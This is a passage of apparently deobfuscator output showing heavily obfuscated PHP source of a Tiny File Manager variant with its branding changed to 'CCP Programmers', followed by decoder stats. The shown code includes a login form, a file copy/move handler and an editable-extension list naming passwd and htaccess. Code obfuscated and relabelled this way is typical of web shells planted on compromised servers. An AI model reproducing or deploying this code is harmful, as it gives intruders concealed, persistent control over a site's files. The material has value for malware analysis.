"\x3c\x21\x2d\x2d\x20\x45\130\x54\x45\x52\x4e\101\x4c\72\x20\115\111\x53\x53\x49\116\x47\x20\x4b\x45\x59\40{$qqqqqqqq}\40\x2d\x2d\76"; return; } echo "{$ll[$qqqqqqqq]}"; } goto cTX92; ho1Ix: echo lng("\x41\x63\x74\151\157\x6e\163"); goto b6P5a; G9XQO: if (empty($ssssss) && empty($lllll)) { ?>
<tfoot><tr><?php  if (!FM_READONLY) { ?>
<td></td><?php  } ?>
<td colspan="<?php  echo !FM_IS_WIN && !$rr ? "\66" : "\x34"; ?>
"><em><?php  echo lng("\106\157\x6c\x64\x65\162\x20\x69\x73\x20\x65\x6d\x70\164\x79"); ?>
</em></td></tr></tfoot><?php  } else { ?>
<tfoot><tr><td class="gray"colspan="<?php  echo !FM_IS_WIN && !$rr ? FM_READONLY ? "\x36" : "\67" : (FM_READONLY ? "\64" : "\x35"); ?>
"><?php  echo lng("\106\x75\x6c\x6c\123\x69\172\x65") . "\x3a\40\x3c\x73\160\141\156\x20\x63\x6c\x61\x73\163\75\42\x62\141\144\x67\145\40\164\145\x78\x74\x2d\142\147\x2d\154\x69\147\150\164\x20\x62\157\162\x64\x65\x72\x2d\x72\141\x64\x69\165\163\x2d\60\x22\76" . fm_get_filesize($cccccccc) . "\74\x2f\163\x70\x61\156\x3e"; echo lng("\106\151\x6c\x65") . "\x3a\40\x3c\163\160\x61\x6e\x20\x63\x6c\x61\163\x73\x3d\x22\142\141\144\147\x65\40\x74\x65\170\x74\x2d\142\x67\x2d\154\151\147\150\x74\40\142\157\162\144\145\x72\55\162\141\144\151\165\x73\x2d\60\42\76" . $aaaaaaaa . "\x3c\x2f\163\160\x61\x6e\76"; echo lng("\106\x6f\154\144\145\162") . "\x3a\40\74\163\160\x61\x6e\40\x63\154\141\163\163\x3d\x22\x62\x61\144\147\x65\40\x74\x65\170\x74\55\142\x67\x2d\x6c\151\x67\150\x74\40\142\157\x72\x64\x65\x72\x2d\162\141\x64\151\x75\x73\55\60\x22\76" . $bbbbbbbb . "\74\57\x73\160\141\x6e\x3e"; ?>
</td></tr></tfoot><?php  } goto iECzk; I8IfO: function fm_get_text_exts() { return array("\164\170\x74", "\x63\x73\163", "\x69\x6e\x69", "\143\157\x6e\x66", "\154\157\147", "\150\x74\141\143\x63\x65\163\163", "\x70\x61\163\163\x77\144", "\146\164\x70\x71\165\x6f\164\x61", "\x73\161\x6c", "\152\163", "\164\163", "\152\163\170", "\164\x73\x78", "\155\152\163", "\x6a\163\157\x6e", "\x73\x68", "\143\157\156\x66\x69\x67", "\160\150\160", "\x70\x68\160\x34", "\160\x68\160\x35", "\x70\x68\160\x73", "\160\x68\x74\x6d\x6c", "\150\164\155", "\x68\x74\155\x6c", "\163\150\x74\155\x6c", "\170\x68\x74\x6d\154", "\170\x6d\x6c", "\170\163\x6c", "\x6d\63\165", "\x6d\63\x75\70", "\160\154\x73", "\143\165\145", "\x62\x61\163\x68", "\166\x75\x65", "\145\155\154", "\155\163\147", "\x63\x73\x76", "\x62\141\x74", "\164\x77\x69\x67", "\164\x70\154", "\155\144", "\147\x69\164\x69\147\156\157\x72\145", "\x6c\x65\163\x73", "\x73\141\163\163", "\163\x63\163\163", "\143", "\x63\x70\x70", "\x63\x73", "\x70\171", "\x67\x6f", "\x7a\x73\x68", "\163\167\151\146\164", "\155\141\x70", "\x6c\157\143\153", "\x64\x74\x64", "\x73\166\x67", "\x61\163\x70", "\x61\163\x70\170", "\x61\x73\170", "\141\x73\155\x78", "\141\x73\x68\x78", "\x6a\163\x70", "\152\x73\x70\x78", "\x63\147\x69", "\144\157\143\x6b\145\162\x66\x69\x6c\145", "\162\165\x62\171", "\x79\x6d\x6c", "\x79\x61\155\x6c", "\164\x6f\x6d\154", "\166\x68\157\163\164", "\163\143\x70\x74", "\x61\x70\160\x6c\x65\163\x63\x72\151\x70\x74", "\x63\163\x78", "\143\x73\x68\x74\155\154", "\x63\53\x2b", "\x63\x6f\x66\146\x65\x65", "\x63\x66\x6d", "\x72\x62", "\147\162\x61\160\x68\x71\154", "\155\165\163\x74\141\x63\x68\145", "\152\x69\156\152\x61", "\150\x74\x74\x70", "\150\141\x6e\x64\x6c\x65\142\141\162\163", "\x6a\141\x76\x61", "\x65\163", "\x65\163\66", "\155\x61\x72\x6b\144\157\x77\156", "\167\151\x6b\x69", "\x74\x6d\x70", "\x74\157\160", "\142\x6f\x74", "\x64\141\x74", "\x62\141\153", "\x68\164\160\141\x73\x73\167\x64", "\x70\x6c"); } goto mRCcQ; f_7RI: if (FM_PATH != '') { $iii .= "\x2f" . FM_PATH; } goto uoaaG; uLSrG: fm_show_header(); goto I3AZd; vrtR6: function fm_is_utf8($gggggggggg) { return preg_match("\57\x2f\165", $gggggggggg); } goto qTJ2q; Ddw89: function fm_show_footer_login() { ?>
</div><?php  print_external("\x6a\163\x2d\152\161\x75\x65\x72\x79"); print_external("\152\x73\55\x62\157\157\x74\163\x74\x72\x61\x70"); ?>
</body></html><?php  } goto hAYNN; sIw4i: define("\x46\x4d\137\x50\101\124\x48", $eee); goto imGSb; daeQO: function fm_get_video_exts() { return array("\141\166\151", "\x77\145\142\x6d", "\x77\x6d\166", "\x6d\x70\64", "\x6d\64\166", "\x6f\147\x6d", "\x6f\147\166", "\155\x6f\x76", "\x6d\153\166"); } goto eYkpv; U1o6P: define("\x56\105\x52\123\x49\117\x4e", "\x32\x2e\65\x2e\x33"); goto gaVPd; zPxOw: $dd = true; goto lxCu6; YMiN6: if ($c) { if (isset($_SESSION[FM_SESSION_ID]["\x6c\157\x67\147\145\x64"], $d[$_SESSION[FM_SESSION_ID]["\154\x6f\x67\x67\145\144"]])) { } elseif (isset($_POST["\146\155\x5f\x75\x73\162"], $_POST["\x66\155\137\x70\x77\144"], $_POST["\x74\157\x6b\145\x6e"])) { sleep(1); if (function_exists("\x70\x61\163\x73\167\x6f\x72\144\x5f\x76\145\162\151\146\x79")) { if (isset($d[$_POST["\146\x6d\137\x75\x73\x72"]]) && isset($_POST["\146\155\137\160\x77\x64"]) && password_verify($_POST["\x66\x6d\137\160\167\144"], $d[$_POST["\146\x6d\137\x75\163\x72"]]) && verifyToken($_POST["\164\157\153\x65\x6e"])) { $_SESSION[FM_SESSION_ID]["\154\x6f\147\147\x65\x64"] = $_POST["\x66\155\137\x75\x73\x72"]; fm_set_msg(lng("\x59\157\165\x20\141\162\145\40\x6c\157\x67\147\145\x64\40\151\156")); fm_redirect(FM_ROOT_URL); } else { unset($_SESSION[FM_SESSION_ID]["\x6c\157\x67\147\x65\144"]); fm_set_msg(lng("\x4c\x6f\x67\151\156\40\146\141\x69\154\145\144\x2e\40\111\156\x76\x61\154\151\x64\x20\165\x73\145\162\156\141\155\145\40\x6f\x72\40\x70\x61\x73\x73\x77\x6f\162\x64"), "\145\x72\162\x6f\162"); fm_redirect(FM_ROOT_URL); } } else { fm_set_msg(lng("\x70\141\x73\x73\x77\157\162\x64\x5f\x68\141\x73\150\x20\x6e\x6f\x74\40\163\x75\x70\x70\157\162\x74\x65\x64\54\40\x55\x70\x67\x72\141\x64\145\x20\x50\x48\x50\40\166\145\162\163\x69\157\x6e"), "\145\162\162\157\162"); } } else { unset($_SESSION[FM_SESSION_ID]["\154\157\147\x67\x65\144"]); fm_show_header_login(); ?>
<section class="h-100"><div class="h-100 container"><div class="row h-100 justify-content-md-center"><div class="card-wrapper"><div class="card fat<?php  echo fm_get_theme(); ?>
"><div class="card-body"><form method="post"action=""class="form-signin"autocomplete="off"><div class="mb-3"><div class="brand"><svg aria-label="H3K Tiny File Manager"height="80px"M1008 version="1.0"viewBox="0 0 238.000000 140.000000"width="100%"xmlns="http://www.w3.org/2000/svg"><g fill="#000000"stroke="none"transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)"><path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/><path d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"fill="#003500"/><path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g></svg></div><div class="text-center"><h1 class="card-title"><?php  echo APP_TITLE; ?>
</h1></div></div><hr><div class="mb-3"><label for="fm_usr"class="pb-2"><?php  echo lng("\125\163\145\x72\156\x61\155\x65"); ?>
</label> <input name="fm_usr"id="fm_usr"class="form-control"required autofocus></div><div class="mb-3"><label for="fm_pwd"class="pb-2"><?php  echo lng("\x50\x61\163\163\x77\x6f\162\144"); ?>
</label> <input name="fm_pwd"type="password"id="fm_pwd"class="form-control"required></div><div class="mb-3"><?php  fm_show_message(); ?>
</div><input name="token"type="hidden"value="<?php  echo htmlentities($_SESSION["\x74\x6f\153\x65\156"]); ?>
"><div class="mb-3"><button class="btn btn-success btn-block mt-4 w-100"type="submit"role="button"><?php  echo lng("\x4c\157\147\x69\x6e"); ?>
</button></div></form></div></div><div class="text-center footer">  <a href="https://tinyfilemanager.github.io/"class="text-decoration-none text-muted"target="_blank"data-version="<?php  echo VERSION; ?>
">CCP Programmers</a> </div></div></div></div></section><?php  fm_show_footer_login(); die; } } goto Ccl4c; ume95: $ssssss = array(); goto REulX; naMlh: if (isset($_POST["\x63\x6f\x70\x79"]) && !FM_READONLY) { $wwwwww = isset($_POST["\146\x69\x6c\145"]) ? $_POST["\x66\151\x6c\145"] : null; if (!is_array($wwwwww) || empty($wwwwww)) { fm_set_msg(lng("\116\x6f\x74\x68\151\156\147\x20\163\x65\154\145\x63\x74\x65\144"), "\141\x6c\x65\162\x74"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "\x3f\x70\75" . urlencode($jjj)); } fm_show_header(); fm_show_nav_path(FM_PATH); ?>
<div class="path"><div class="card<?php  echo fm_get_theme(); ?>
"><div class="card-header"><h6><?php  echo lng("\x43\157\x70\171\x69\x6e\147"); ?>
</h6></div><div class="card-body"><form method="post"action=""><input name="p"type="hidden"value="<?php  echo fm_enc(FM_PATH); ?>
"> <input name="finish"type="hidden"value="1"><?php  foreach ($wwwwww as $xxxxxx) { echo "\x3c\151\156\160\165\164\40\164\171\x70\x65\75\42\x68\x69\144\144\145\156\42\40\x6e\141\x6d\x65\x3d\42\x66\151\x6c\x65\x5b\135\42\40\166\141\154\x75\145\x3d\42" . fm_enc($xxxxxx) . "\42\76" . PHP_EOL; } ?>
<p class="break-word"><strong><?php  echo lng("\x46\151\x6c\145\163"); ?>
</strong>: <b><?php  echo implode("\x3c\x2f\142\76\x2c\x20\74\142\76", $wwwwww); ?>
</b></p><p class="break-word"><strong><?php  echo lng("\123\157\x75\162\143\145\106\x6f\154\144\145\x72"); ?>
</strong>:<?php  echo fm_enc(fm_convert_win(FM_ROOT_PATH . "\57" . FM_PATH)); ?>
<br><label for="inp_copy_to"><strong><?php  echo lng("\x44\x65\x73\164\x69\156\141\164\151\x6f\x6e\x46\157\x6c\x64\145\x72"); ?>
</strong>:</label><?php  echo FM_ROOT_PATH; ?>
/<input name="copy_to"value="<?php  echo fm_enc(FM_PATH); ?>
"id="inp_copy_to"></p><p class="custom-checkbox custom-control"><input name="move"type="checkbox"value="1"id="js-move-files"class="custom-control-input"><label for="js-move-files"class="ms-2 custom-control-label"><?php  echo lng("\x4d\157\x76\145"); ?>
</label></p><p><b><a href="?p=<?php  echo urlencode(FM_PATH); ?>
"class="btn btn-outline-danger"><i class="fa fa-times-circle"></i><?php  echo lng("\103\141\156\143\x65\154"); ?>
</a></b><input name="token"type="hidden"value="<?php  echo $_SESSION["\164\157\x6b\x65\156"]; ?>
"> <button class="btn btn-success"type="submit"><i class="fa fa-check-circle"></i><?php  echo lng("\103\157\160\171"); ?>
</button></p></form></div></div></div><?php  fm_show_footer(); die; } goto MlvwS; Ceq1P: ?>

Function Calls

None

Variables

None

Stats

MD5 ff1add396f708a15465f2f2d3b024671
Eval Count 0
Decode Time 166 ms